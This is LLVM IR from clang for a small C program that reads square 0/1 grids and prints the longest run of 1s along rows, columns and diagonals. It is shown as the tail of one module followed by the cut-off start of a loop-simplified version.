br i1 %201, label %202, label %551
202: ; preds = %197
store i32 0, ptr %8, align 4
store i32 0, ptr %6, align 4
store i32 0, ptr %5, align 4
br label %203
203: ; preds = %275, %202
%204 = load i32, ptr %5, align 4
%205 = load i32, ptr %3, align 4
%206 = sub nsw i32 %205, 1
%207 = load i32, ptr %4, align 4
%208 = sub nsw i32 %206, %207
%209 = icmp sle i32 %204, %208
br i1 %209, label %210, label %278
210: ; preds = %203
%211 = load i32, ptr %8, align 4
%212 = icmp eq i32 %211, 0
br i1 %212, label %213, label %228
213: ; preds = %210
%214 = load i32, ptr %3, align 4
%215 = sub nsw i32 %214, 1
%216 = load i32, ptr %4, align 4
%217 = sub nsw i32 %215, %216
%218 = load i32, ptr %5, align 4
%219 = sub nsw i32 %217, %218
%220 = sext i32 %219 to i64
%221 = getelementptr inbounds [255 x [255 x i32]], ptr %2, i64 0, i64 %220
%222 = load i32, ptr %5, align 4
%223 = sext i32 %222 to i64
%224 = getelementptr inbounds [255 x i32], ptr %221, i64 0, i64 %223
%225 = load i32, ptr %224, align 4
%226 = icmp eq i32 %225, 1
br i1 %226, label %227, label %228
227: ; preds = %213
store i32 1, ptr %6, align 4
store i32 1, ptr %8, align 4
br label %274
228: ; preds = %213, %210
%229 = load i32, ptr %8, align 4
%230 = icmp eq i32 %229, 1
br i1 %230, label %231, label %248
231: ; preds = %228
%232 = load i32, ptr %3, align 4
%233 = sub nsw i32 %232, 1
%234 = load i32, ptr %4, align 4
%235 = sub nsw i32 %233, %234
%236 = load i32, ptr %5, align 4
%237 = sub nsw i32 %235, %236
%238 = sext i32 %237 to i64
%239 = getelementptr inbounds [255 x [255 x i32]], ptr %2, i64 0, i64 %238
%240 = load i32, ptr %5, align 4
%241 = sext i32 %240 to i64
%242 = getelementptr inbounds [255 x i32], ptr %239, i64 0, i64 %241
%243 = load i32, ptr %242, align 4
%244 = icmp eq i32 %243, 1
br i1 %244, label %245, label %248
245: ; preds = %231
%246 = load i32, ptr %6, align 4
%247 = add nsw i32 %246, 1
store i32 %247, ptr %6, align 4
br label %273
248: ; preds = %231, %228
%249 = load i32, ptr %8, align 4
%250 = icmp eq i32 %249, 1
br i1 %250, label %251, label %272
251: ; preds = %248
%252 = load i32, ptr %3, align 4
%253 = sub nsw i32 %252, 1
%254 = load i32, ptr %4, align 4
%255 = sub nsw i32 %253, %254
%256 = load i32, ptr %5, align 4
%257 = sub nsw i32 %255, %256
%258 = sext i32 %257 to i64
%259 = getelementptr inbounds [255 x [255 x i32]], ptr %2, i64 0, i64 %258
%260 = load i32, ptr %5, align 4
%261 = sext i32 %260 to i64
%262 = getelementptr inbounds [255 x i32], ptr %259, i64 0, i64 %261
%263 = load i32, ptr %262, align 4
%264 = icmp eq i32 %263, 0
br i1 %264, label %265, label %272
265: ; preds = %251
%266 = load i32, ptr %6, align 4
%267 = load i32, ptr %7, align 4
%268 = icmp sgt i32 %266, %267
br i1 %268, label %269, label %271
269: ; preds = %265
%270 = load i32, ptr %6, align 4
store i32 %270, ptr %7, align 4
br label %271
271: ; preds = %269, %265
store i32 0, ptr %8, align 4
store i32 0, ptr %6, align 4
br label %272
272: ; preds = %271, %251, %248
br label %273
273: ; preds = %272, %245
br label %274
274: ; preds = %273, %227
br label %275
275: ; preds = %274
%276 = load i32, ptr %5, align 4
%277 = add nsw i32 %276, 1
store i32 %277, ptr %5, align 4
br label %203, !llvm.loop !12
278: ; preds = %203
%279 = load i32, ptr %6, align 4
%280 = load i32, ptr %7, align 4
%281 = icmp sgt i32 %279, %280
br i1 %281, label %282, label %284
282: ; preds = %278
%283 = load i32, ptr %6, align 4
store i32 %283, ptr %7, align 4
br label %284
284: ; preds = %282, %278
%285 = load i32, ptr %7, align 4
%286 = load i32, ptr %3, align 4
%287 = load i32, ptr %4, align 4
%288 = sub nsw i32 %286, %287
%289 = icmp eq i32 %285, %288
br i1 %289, label %290, label %291
290: ; preds = %284
br label %551
291: ; preds = %284
store i32 0, ptr %8, align 4
store i32 0, ptr %6, align 4
%292 = load i32, ptr %4, align 4
%293 = icmp ne i32 %292, 0
br i1 %293, label %294, label %376
294: ; preds = %291
%295 = load i32, ptr %3, align 4
%296 = sub nsw i32 %295, 1
store i32 %296, ptr %5, align 4
br label %297
297: ; preds = %366, %294
%298 = load i32, ptr %5, align 4
%299 = load i32, ptr %4, align 4
%300 = icmp sge i32 %298, %299
br i1 %300, label %301, label %369
301: ; preds = %297
%302 = load i32, ptr %8, align 4
%303 = icmp eq i32 %302, 0
br i1 %303, label %304, label %319
304: ; preds = %301
%305 = load i32, ptr %5, align 4
%306 = sext i32 %305 to i64
%307 = getelementptr inbounds [255 x [255 x i32]], ptr %2, i64 0, i64 %306
%308 = load i32, ptr %3, align 4
%309 = sub nsw i32 %308, 1
%310 = load i32, ptr %4, align 4
%311 = add nsw i32 %309, %310
%312 = load i32, ptr %5, align 4
%313 = sub nsw i32 %311, %312
%314 = sext i32 %313 to i64
%315 = getelementptr inbounds [255 x i32], ptr %307, i64 0, i64 %314
%316 = load i32, ptr %315, align 4
%317 = icmp eq i32 %316, 1
br i1 %317, label %318, label %319
318: ; preds = %304
store i32 1, ptr %6, align 4
store i32 1, ptr %8, align 4
br label %365
319: ; preds = %304, %301
%320 = load i32, ptr %8, align 4
%321 = icmp eq i32 %320, 1
br i1 %321, label %322, label %339
322: ; preds = %319
%323 = load i32, ptr %5, align 4
%324 = sext i32 %323 to i64
%325 = getelementptr inbounds [255 x [255 x i32]], ptr %2, i64 0, i64 %324
%326 = load i32, ptr %3, align 4
%327 = sub nsw i32 %326, 1
%328 = load i32, ptr %4, align 4
%329 = add nsw i32 %327, %328
%330 = load i32, ptr %5, align 4
%331 = sub nsw i32 %329, %330
%332 = sext i32 %331 to i64
%333 = getelementptr inbounds [255 x i32], ptr %325, i64 0, i64 %332
%334 = load i32, ptr %333, align 4
%335 = icmp eq i32 %334, 1
br i1 %335, label %336, label %339
336: ; preds = %322
%337 = load i32, ptr %6, align 4
%338 = add nsw i32 %337, 1
store i32 %338, ptr %6, align 4
br label %364
339: ; preds = %322, %319
%340 = load i32, ptr %8, align 4
%341 = icmp eq i32 %340, 1
br i1 %341, label %342, label %363
342: ; preds = %339
%343 = load i32, ptr %5, align 4
%344 = sext i32 %343 to i64
%345 = getelementptr inbounds [255 x [255 x i32]], ptr %2, i64 0, i64 %344
%346 = load i32, ptr %3, align 4
%347 = sub nsw i32 %346, 1
%348 = load i32, ptr %4, align 4
%349 = add nsw i32 %347, %348
%350 = load i32, ptr %5, align 4
%351 = sub nsw i32 %349, %350
%352 = sext i32 %351 to i64
%353 = getelementptr inbounds [255 x i32], ptr %345, i64 0, i64 %352
%354 = load i32, ptr %353, align 4
%355 = icmp eq i32 %354, 0
br i1 %355, label %356, label %363
356: ; preds = %342
%357 = load i32, ptr %6, align 4
%358 = load i32, ptr %7, align 4
%359 = icmp sgt i32 %357, %358
br i1 %359, label %360, label %362
360: ; preds = %356
%361 = load i32, ptr %6, align 4
store i32 %361, ptr %7, align 4
br label %362
362: ; preds = %360, %356
store i32 0, ptr %8, align 4
store i32 0, ptr %6, align 4
br label %363
363: ; preds = %362, %342, %339
br label %364
364: ; preds = %363, %336
br label %365
365: ; preds = %364, %318
br label %366
366: ; preds = %365
%367 = load i32, ptr %5, align 4
%368 = add nsw i32 %367, -1
store i32 %368, ptr %5, align 4
br label %297, !llvm.loop !13
369: ; preds = %297
%370 = load i32, ptr %6, align 4
%371 = load i32, ptr %7, align 4
%372 = icmp sgt i32 %370, %371
br i1 %372, label %373, label %375
373: ; preds = %369
%374 = load i32, ptr %6, align 4
store i32 %374, ptr %7, align 4
br label %375
375: ; preds = %373, %369
br label %376
376: ; preds = %375, %291
%377 = load i32, ptr %7, align 4
%378 = load i32, ptr %3, align 4
%379 = load i32, ptr %4, align 4
%380 = sub nsw i32 %378, %379
%381 = icmp eq i32 %377, %380
br i1 %381, label %382, label %383
382: ; preds = %376
br label %551
383: ; preds = %376
store i32 0, ptr %8, align 4
store i32 0, ptr %6, align 4
store i32 0, ptr %5, align 4
br label %384
384: ; preds = %447, %383
%385 = load i32, ptr %5, align 4
%386 = load i32, ptr %3, align 4
%387 = sub nsw i32 %386, 1
%388 = load i32, ptr %4, align 4
%389 = sub nsw i32 %387, %388
%390 = icmp sle i32 %385, %389
br i1 %390, label %391, label %450
391: ; preds = %384
%392 = load i32, ptr %8, align 4
%393 = icmp eq i32 %392, 0
br i1 %393, label %394, label %406
394: ; preds = %391
%395 = load i32, ptr %5, align 4
%396 = load i32, ptr %4, align 4
%397 = add nsw i32 %395, %396
%398 = sext i32 %397 to i64
%399 = getelementptr inbounds [255 x [255 x i32]], ptr %2, i64 0, i64 %398
%400 = load i32, ptr %5, align 4
%401 = sext i32 %400 to i64
%402 = getelementptr inbounds [255 x i32], ptr %399, i64 0, i64 %401
%403 = load i32, ptr %402, align 4
%404 = icmp eq i32 %403, 1
br i1 %404, label %405, label %406
405: ; preds = %394
store i32 1, ptr %6, align 4
store i32 1, ptr %8, align 4
br label %446
406: ; preds = %394, %391
%407 = load i32, ptr %8, align 4
%408 = icmp eq i32 %407, 1
br i1 %408, label %409, label %423
409: ; preds = %406
%410 = load i32, ptr %5, align 4
%411 = load i32, ptr %4, align 4
%412 = add nsw i32 %410, %411
%413 = sext i32 %412 to i64
%414 = getelementptr inbounds [255 x [255 x i32]], ptr %2, i64 0, i64 %413
%415 = load i32, ptr %5, align 4
%416 = sext i32 %415 to i64
%417 = getelementptr inbounds [255 x i32], ptr %414, i64 0, i64 %416
%418 = load i32, ptr %417, align 4
%419 = icmp eq i32 %418, 1
br i1 %419, label %420, label %423
420: ; preds = %409
%421 = load i32, ptr %6, align 4
%422 = add nsw i32 %421, 1
store i32 %422, ptr %6, align 4
br label %445
423: ; preds = %409, %406
%424 = load i32, ptr %8, align 4
%425 = icmp eq i32 %424, 1
br i1 %425, label %426, label %444
426: ; preds = %423
%427 = load i32, ptr %5, align 4
%428 = load i32, ptr %4, align 4
%429 = add nsw i32 %427, %428
%430 = sext i32 %429 to i64
%431 = getelementptr inbounds [255 x [255 x i32]], ptr %2, i64 0, i64 %430
%432 = load i32, ptr %5, align 4
%433 = sext i32 %432 to i64
%434 = getelementptr inbounds [255 x i32], ptr %431, i64 0, i64 %433
%435 = load i32, ptr %434, align 4
%436 = icmp eq i32 %435, 0
br i1 %436, label %437, label %444
437: ; preds = %426
%438 = load i32, ptr %6, align 4
%439 = load i32, ptr %7, align 4
%440 = icmp sgt i32 %438, %439
br i1 %440, label %441, label %443
441: ; preds = %437
%442 = load i32, ptr %6, align 4
store i32 %442, ptr %7, align 4
br label %443
443: ; preds = %441, %437
store i32 0, ptr %8, align 4
store i32 0, ptr %6, align 4
br label %444
444: ; preds = %443, %426, %423
br label %445
445: ; preds = %444, %420
br label %446
446: ; preds = %445, %405
br label %447
447: ; preds = %446
%448 = load i32, ptr %5, align 4
%449 = add nsw i32 %448, 1
store i32 %449, ptr %5, align 4
br label %384, !llvm.loop !14
450: ; preds = %384
%451 = load i32, ptr %6, align 4
%452 = load i32, ptr %7, align 4
%453 = icmp sgt i32 %451, %452
br i1 %453, label %454, label %456
454: ; preds = %450
%455 = load i32, ptr %6, align 4
store i32 %455, ptr %7, align 4
br label %456
456: ; preds = %454, %450
%457 = load i32, ptr %7, align 4
%458 = load i32, ptr %3, align 4
%459 = load i32, ptr %4, align 4
%460 = sub nsw i32 %458, %459
%461 = icmp eq i32 %457, %460
br i1 %461, label %462, label %463
462: ; preds = %456
br label %551
463: ; preds = %456
store i32 0, ptr %8, align 4
store i32 0, ptr %6, align 4
%464 = load i32, ptr %4, align 4
%465 = icmp ne i32 %464, 0
br i1 %465, label %466, label %540
466: ; preds = %463
store i32 0, ptr %5, align 4
br label %467
467: ; preds = %530, %466
%468 = load i32, ptr %5, align 4
%469 = load i32, ptr %3, align 4
%470 = sub nsw i32 %469, 1
%471 = load i32, ptr %4, align 4
%472 = sub nsw i32 %470, %471
%473 = icmp sle i32 %468, %472
br i1 %473, label %474, label %533
474: ; preds = %467
%475 = load i32, ptr %8, align 4
%476 = icmp eq i32 %475, 0
br i1 %476, label %477, label %489
477: ; preds = %474
%478 = load i32, ptr %5, align 4
%479 = sext i32 %478 to i64
%480 = getelementptr inbounds [255 x [255 x i32]], ptr %2, i64 0, i64 %479
%481 = load i32, ptr %5, align 4
%482 = load i32, ptr %4, align 4
%483 = add nsw i32 %481, %482
%484 = sext i32 %483 to i64
%485 = getelementptr inbounds [255 x i32], ptr %480, i64 0, i64 %484
%486 = load i32, ptr %485, align 4
%487 = icmp eq i32 %486, 1
br i1 %487, label %488, label %489
488: ; preds = %477
store i32 1, ptr %6, align 4
store i32 1, ptr %8, align 4
br label %529
489: ; preds = %477, %474
%490 = load i32, ptr %8, align 4
%491 = icmp eq i32 %490, 1
br i1 %491, label %492, label %506
492: ; preds = %489
%493 = load i32, ptr %5, align 4
%494 = sext i32 %493 to i64
%495 = getelementptr inbounds [255 x [255 x i32]], ptr %2, i64 0, i64 %494
%496 = load i32, ptr %5, align 4
%497 = load i32, ptr %4, align 4
%498 = add nsw i32 %496, %497
%499 = sext i32 %498 to i64
%500 = getelementptr inbounds [255 x i32], ptr %495, i64 0, i64 %499
%501 = load i32, ptr %500, align 4
%502 = icmp eq i32 %501, 1
br i1 %502, label %503, label %506
503: ; preds = %492
%504 = load i32, ptr %6, align 4
%505 = add nsw i32 %504, 1
store i32 %505, ptr %6, align 4
br label %528
506: ; preds = %492, %489
%507 = load i32, ptr %8, align 4
%508 = icmp eq i32 %507, 1
br i1 %508, label %509, label %527
509: ; preds = %506
%510 = load i32, ptr %5, align 4
%511 = sext i32 %510 to i64
%512 = getelementptr inbounds [255 x [255 x i32]], ptr %2, i64 0, i64 %511
%513 = load i32, ptr %5, align 4
%514 = load i32, ptr %4, align 4
%515 = add nsw i32 %513, %514
%516 = sext i32 %515 to i64
%517 = getelementptr inbounds [255 x i32], ptr %512, i64 0, i64 %516
%518 = load i32, ptr %517, align 4
%519 = icmp eq i32 %518, 0
br i1 %519, label %520, label %527
520: ; preds = %509
%521 = load i32, ptr %6, align 4
%522 = load i32, ptr %7, align 4
%523 = icmp sgt i32 %521, %522
br i1 %523, label %524, label %526
524: ; preds = %520
%525 = load i32, ptr %6, align 4
store i32 %525, ptr %7, align 4
br label %526
526: ; preds = %524, %520
store i32 0, ptr %8, align 4
store i32 0, ptr %6, align 4
br label %527
527: ; preds = %526, %509, %506
br label %528
528: ; preds = %527, %503
br label %529
529: ; preds = %528, %488
br label %530
530: ; preds = %529
%531 = load i32, ptr %5, align 4
%532 = add nsw i32 %531, 1
store i32 %532, ptr %5, align 4
br label %467, !llvm.loop !15
533: ; preds = %467
%534 = load i32, ptr %6, align 4
%535 = load i32, ptr %7, align 4
%536 = icmp sgt i32 %534, %535
br i1 %536, label %537, label %539
537: ; preds = %533
%538 = load i32, ptr %6, align 4
store i32 %538, ptr %7, align 4
br label %539
539: ; preds = %537, %533
br label %540
540: ; preds = %539, %463
%541 = load i32, ptr %7, align 4
%542 = load i32, ptr %3, align 4
%543 = load i32, ptr %4, align 4
%544 = sub nsw i32 %542, %543
%545 = icmp eq i32 %541, %544
br i1 %545, label %546, label %547
546: ; preds = %540
br label %551
547: ; preds = %540
br label %548
548: ; preds = %547
%549 = load i32, ptr %4, align 4
%550 = add nsw i32 %549, 1
store i32 %550, ptr %4, align 4
br label %197, !llvm.loop !16
551: ; preds = %546, %462, %382, %290, %197
%552 = load i32, ptr %7, align 4
%553 = call i32 @printf(ptr noundef @.str, i32 noundef %552)
br label %10
554: ; preds = %14
ret i32 0
}
declare i32 @scanf(ptr noundef, ptr noundef) #1
declare i32 @printf(ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
!9 = distinct !{!9, !7}
!10 = distinct !{!10, !7}
!11 = distinct !{!11, !7}
!12 = distinct !{!12, !7}
!13 = distinct !{!13, !7}
!14 = distinct !{!14, !7}
!15 = distinct !{!15, !7}
!16 = distinct !{!16, !7}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmp3owueuoe.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [4 x i8] c"%d\0A\00", align 1
@.str.1 = private unnamed_addr constant [4 x i8] c"%c \00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca [255 x [255 x i32]], align 16
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca i32, align 4
%6 = alloca i32, align 4
%7 = alloca i32, align 4
%8 = alloca i32, align 4
%9 = alloca i32, align 4
store i32 0, ptr %1, align 4
%10 = call i32 @scanf(ptr noundef @.str, ptr noundef %3)
%11 = load i32, ptr %3, align 4
%12 = icmp eq i32 %11, 0
br i1 %12, label %13, label %.lr.ph28
.lr.ph28: ; preds = %0
br label %14
._crit_edge29: ; preds = %.backedge
br label %13
13: ; preds = %._crit_edge29, %0
br label %586
14: ; preds = %.lr.ph28, %.backedge
store i32 0, ptr %7, align 4
store i32 0, ptr %4, align 4
%15 = load i32, ptr %4, align 4
%16 = load i32, ptr %3, align 4
%17 = icmp slt i32 %15, %16
br i1 %17, label %.lr.ph3, label %45
.lr.ph3: ; preds = %14
br label %18
18: ; preds = %.lr.ph3, %39
store i32 0, ptr %5, align 4
%19 = load i32, ptr %5, align 4
%20 = load i32, ptr %3, align 4
%21 = icmp slt i32 %19, %20
br i1 %21, label %.lr.ph, label %38
.lr.ph: ; preds = %18
br label %22
22: ; preds = %.lr.ph, %32
%23 = call i32 @scanf(ptr noundef @.str.1, ptr noundef %9)
%24 = load i32, ptr %9, align 4
%25 = sub nsw i32 %24, 48
%26 = load i32, ptr %4, align 4
%27 = sext i32 %26 to i64
%28 = getelementptr inbounds [255 x [255 x i32]], ptr %2, i64 0, i64 %27
%29 = load i32, ptr %5, align 4
%30 = sext i32 %29 to i64
%31 = getelementptr inbounds [255 x i32], ptr %28, i64 0, i64 %30
store i32 %25, ptr %31, align 4
br label %32
32: ; preds = %22
%33 = load i32, ptr %5, align 4
%34 = add nsw i32 %33, 1
store i32 %34, ptr %5, align 4
%35 = load i32, ptr %5, align 4
%36 = load i32, ptr %3, align 4
%37 = icmp slt i32 %35, %36
br i1 %37, label %22, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %32
br label %38
38: ; preds = %._crit_edge, %18
br label %39
39: ; preds = %38
%40 = load i32, ptr %4, align 4
%41 = add nsw i32 %40, 1
store i32 %41, ptr %4, align 4
%42 = load i32, ptr %4, align 4
%43 = load i32, ptr %3, align 4
%44 = icmp slt i32 %42, %43
br i1 %44, label %18, label %._crit_edge4, !llvm.loop !8
._crit_edge4: ; preds = %39
br label %45
45: ; preds = %._crit_edge4, %14
store i32 0, ptr %4, align 4
%46 = load i32, ptr %4, align 4
%47 = load i32, ptr %3, align 4
%48 = icmp slt i32 %46, %47
br i1 %48, label %.lr.ph12, label %.loopexit1
.lr.ph12: ; preds = %45
br label %49
49: ; preds = %.lr.ph12, %192
store i32 0, ptr %8, align 4
store i32 0, ptr %6, align 4
store i32 0, ptr %5, align 4
%50 = load i32, ptr %5, align 4
%51 = load i32, ptr %3, align 4
%52 = icmp slt i32 %50, %51
br i1 %52, label %.lr.ph6, label %109
.lr.ph6: ; preds = %49
br label %53
53: ; preds = %.lr.ph6, %103
%54 = load i32, ptr %8, align 4
%55 = icmp eq i32 %54, 0
br i1 %55, label %56, label %66
56: ; preds = %53
%57 = load i32, ptr %4, align 4
%58 = sext i32 %57 to i64
%59 = getelementptr inbounds [255 x [255 x i32]], ptr %2, i64 0, i64 %58
%60 = load i32, ptr %5, align 4
%61 = sext i32 %60 to i64
%62 = getelementptr inbounds [255 x i32], ptr %59, i64 0, i64 %61
%63 = load i32, ptr %62, align 4
%64 = icmp eq i32 %63, 1
br i1 %64, label %65, label %66
65: ; preds = %56
store i32 1, ptr %6, align 4
store i32 1, ptr %8, align 4
br label %102
66: ; preds = %56, %53
%67 = load i32, ptr %8, align 4
%68 = icmp eq i32 %67, 1
br i1 %68, label %69, label %81
69: ; preds = %66
%70 = load i32, ptr %4, align 4
%71 = sext i32 %70 to i64
%72 = getelementptr inbounds [255 x [255 x i32]], ptr %2, i64 0, i64 %71
%73 = load i32, ptr %5, align 4
%74 = sext i32 %73 to i64
%75 = getelementptr inbounds [255 x i32], ptr %72, i64 0, i64 %74
%76 = load i32, ptr %75, align 4
%77 = icmp eq i32 %76, 1
br i1 %77, label %78, label %81
78: ; preds = %69
%79 = load i32, ptr %6, align 4
%80 = add nsw i32 %79, 1
store i32 %80, ptr %6, align 4
br label %101
81: ; preds = %69, %66
%82 = load i32, ptr %8, align 4
%83 = icmp eq i32 %82, 1
br i1 %83, label %84, label %100
84: ; preds = %81
%85 = load i32, ptr %4, align 4
%86 = sext i32 %85 to i64
%87 = getelementptr inbounds [255 x [255 x i32]], ptr %2, i64 0, i64 %86
%88 = load i32, ptr %5, align 4
%89 = sext i32 %88 to i64
%90 = getelementptr inbounds [255 x i32], ptr %87, i64 0, i64 %89
%91 = load i32, ptr %90, align 4
%92 = icmp eq i32 %91, 0
br i1 %92, label %93, label %100
93: ; preds = %84
%94 = load i32, ptr %6, align 4
%95 = load i32, ptr %7, align 4
%96 = icmp sgt i32 %94, %95
br i1 %96, label %97, label %99
97: ; preds = %93
%98 = load i32, ptr %6, align 4
store i32 %98, ptr %7, align 4
br label %99
99: ; preds = %97, %93
store i32 0, ptr %8, align 4
store i32 0, ptr %6, align 4
br label %100
100: ; preds = %99, %84, %81
br label %101
101: ; preds = %100, %78
br label %102
102: ; preds = %101, %65
br label %103
103: ; preds = %102
%104 = load i32, ptr %5, align 4
%105 = add nsw i32 %104, 1
store i32 %105, ptr %5, align 4
%106 = load i32, ptr %5, align 4
%107 = load i32, ptr %3, align 4
%108 = icmp slt i32 %106, %107
br i1 %108, label %53, label %._crit_edge7, !llvm.loop !9
._crit_edge7: ; preds = %103
br label %109
109: ; preds = %._crit_edge7, %49
%110 = load i32, ptr %6, align 4
%111 = load i32, ptr %7, align 4
%112 = icmp sgt i32 %110, %111
br i1 %112, label %113, label %115
113: ; preds = %109
%114 = load i32, ptr %6, align 4
store i32 %114, ptr %7, align 4
br label %115
115: ; preds = %113, %109
%116 = load i32, ptr %7, align 4
%117 = load i32, ptr %3, align 4
%118 = icmp eq i32 %116, %117
br i1 %118, label %119, label %120
119: ; preds = %115
br label %198
120: ; preds = %115
store i32 0, ptr %8, align 4
store i32 0, ptr %6, align 4
store i32 0, ptr %5, align 4
%121 = load i32, ptr %5, align 4
%122 = load i32, ptr %3, align 4
%123 = icmp slt i32 %121, %122
br i1 %123, label %.lr.ph9, label %180
.lr.ph9: ; preds = %120
br label %124
124: ; preds = %.lr.ph9, %174
%125 = load i32, ptr %8, align 4
%126 = icmp eq i32 %125, 0
br i1 %126, label %127, label %137
127: ; preds = %124
%128 = load i32, ptr %5, align 4
%129 = sext i32 %128 to i64
%130 = getelementptr inbounds [255 x [255 x i32]], ptr %2, i64 0, i64 %129
%131 = load i32, ptr %4, align 4
%132 = sext i32 %131 to i64
%133 = getelementptr inbounds [255 x i32], ptr %130, i64 0, i64 %132
%134 = load i32, ptr %133, align 4
%135 = icmp eq i32 %134, 1
br i1 %135, label %136, label %137
136: ; preds = %127
store i32 1, ptr %6, align 4
store i32 1, ptr %8, align 4
br label %173
137: ; preds = %127, %124
%138 = load i32, ptr %8, align 4
%139 = icmp eq i32 %138, 1
br i1 %139, label %140, label %152
140: ; preds = %137
%141 = load i32, ptr %5, align 4
%142 = sext i32 %141 to i64
%143 = getelementptr inbounds [255 x [255 x i32]], ptr %2, i64 0, i64 %142
%144 = load i32, ptr %4, align 4
%145 = sext i32 %144 to i64
%146 = getelementptr inbounds [255 x i32], ptr %143, i64 0, i64 %145
%147 = load i32, ptr %146, align 4
%148 = icmp eq i32 %147, 1
br i1 %148, label %149, label %152
149: ; preds = %140
%150 = load i32, ptr %6, align 4
%151 = add nsw i32 %150, 1
store i32 %151, ptr %6, align 4
br label %172
152: ; preds = %140, %137
%153 = load i32, ptr %8, align 4
%154 = icmp eq i32 %153, 1
br i1 %154, label %155, label %171
155: ; preds = %152
%156 = load i32, ptr %5, align 4
%157 = sext i32 %156 to i64
%158 = getelementptr inbounds [255 x [255 x i32]], ptr %2, i64 0, i64 %157
%159 = load i32, ptr %4, align 4
%160 = sext i32 %159 to i64
%161 = getelementptr inbounds [255 x i32], ptr %158, i64 0, i64 %160
%162 = load i32, ptr %161, align 4
%163 = icmp eq i32 %162, 0
br i1 %163, label %164, label %171
164: ; preds = %155
%165 = load i32, ptr %6, align 4
%166 = load i32, ptr %7, align 4
%167 = icmp sgt i32 %165, %166
br i1 %167, label %168, label %170
168: ; preds = %164
%169 = load i32, ptr %6, align 4
store i32 %169, ptr %7, align 4
br label %170
170: ; preds = %168, %164
store i32 0, ptr %8, align 4
store i32 0, ptr %6, align 4
br label %171
171: ; preds = %170, %155, %152
br label %172
172: ; preds = %171, %149
br label %173
173: ; preds = %172, %136
br label %174
174: ; preds = %173
%175 = load i32, ptr %5, align 4
%176 = add nsw i32 %175, 1
store i32 %176, ptr %5, align 4
%177 = load i32, ptr %5, align 4
%178 = load i32, ptr %3, align 4
%179 = icmp slt i32 %177, %178
br i1 %179, label %124, label %._crit_edge10, !llvm.loop !10
._crit_edge10: ; preds = %174
br label %180
180: ; preds = %._crit_edge10, %120
%181 = load i32, ptr %6, align 4
%182 = load i32, ptr %7, align 4
%183 = icmp sgt i32 %181, %182
br i1 %183, label %184, label %186
184: ; preds = %180
%185 = load i32, ptr %6, align 4
store i32 %185, ptr %7, align 4
br label %186
186: ; preds = %184, %180
%187 = load i32, ptr %7, align 4
%188 = load i32, ptr %3, align 4
%189 = icmp eq i32 %187, %188
br i1 %189, label %190, label %191
190: ; preds = %186
br label %198
191: ; preds = %186
br label %192
192: ; preds = %191
%193 = load i32, ptr %4, align 4
%194 = add nsw i32 %193, 1
store i32 %194, ptr %4, align 4
%195 = load i32, ptr %4, align 4
%196 = load i32, ptr %3, align 4
%197 = icmp slt i32 %195, %196
br i1 %197, label %49, label %..loopexit1_crit_edge, !llvm.loop !11
..loopexit1_crit_edge: ; preds = %192
br label %.loopexit1
.loopexit1: ; preds = %..loopexit1_crit_edge, %45
br label %198
198: ; preds = %.loopexit1, %190, %119
%199 = load i32, ptr %7, align 4
%200 = load i32, ptr %3, align 4
%201 = icmp eq i32 %199, %200
br i1 %201, label %202, label %208
202: ; preds = %198
%203 = load i32, ptr %7, align 4
%204 = call i32 @printf(ptr noundef @.str, i32 noundef %203)
br label %.backedge
.backedge: ; preds = %202, %583
%205 = call i32 @scanf(ptr noundef @.str, ptr noundef %3)
%206 = load i32, ptr %3, align 4
%207 = icmp eq i32 %206, 0
br i1 %207, label %._crit_edge29, label %14
208: ; preds = %198
store i32 0, ptr %4, align 4
%209 = load i32, ptr %4, align 4
%210 = load i32, ptr %3, align 4
%211 = sub nsw i32 %210, 1
%212 = icmp sle i32 %209, %211
br i1 %212, label %.lr.ph26, label %.loopexit
.lr.ph26: ; preds = %208
br label %213
213: ; preds = %.lr.ph26, %576
store i32 0, ptr %8, align 4
store i32 0, ptr %6, align 4
store i32 0, ptr %5, align 4
%214 = load i32, ptr %5, align 4
%215 = load i32, ptr %3, align 4
%216 = sub nsw i32 %215, 1
%217 = load i32, ptr %4, align 4
%218 = sub nsw i32 %216, %217
%219 = icmp sle i32 %214, %218
br i1 %219, label %.lr.ph14, label %294
.lr.ph14: ; preds = %213
br label %220
220: ; preds = %.lr.ph14, %285
%221 = load i32, ptr %8, align 4
%222 = icmp eq i32 %221, 0
br i1 %222, label %223, label %238
223: ; preds = %220
%224 = load i32, ptr %3, align 4
%225 = sub nsw i32 %224, 1
%226 = load i32, ptr %4, align 4
%227 = sub nsw i32 %225, %226
%228 = load i32, ptr %5, align 4
%229 = sub nsw i32 %227, %228
%230 = sext i32 %229 to i64
%231 = getelementptr inbounds [255 x [255 x i32]], ptr %2, i64 0, i64 %230
%232 = load i32, ptr %5, align 4
%233 = sext i32 %232 to i64
%234 = getelementptr inbounds [255 x i32], ptr %231, i64 0, i64 %233
%235 = load i32, ptr %234, align 4
%236 = icmp eq i32 %235, 1
br i1 %236, label %237, label %238
237: ; preds = %223
store i32 1, ptr %6, align 4
store i32 1, ptr %8, align 4
br label %284
238: ; preds = %223, %220
%239 = load i32, ptr %8, align 4
%240 = icmp eq i32 %239, 1
br i1 %240, label %241, label %258
241: ; preds = %238
%242 = load i32, ptr %3, align 4
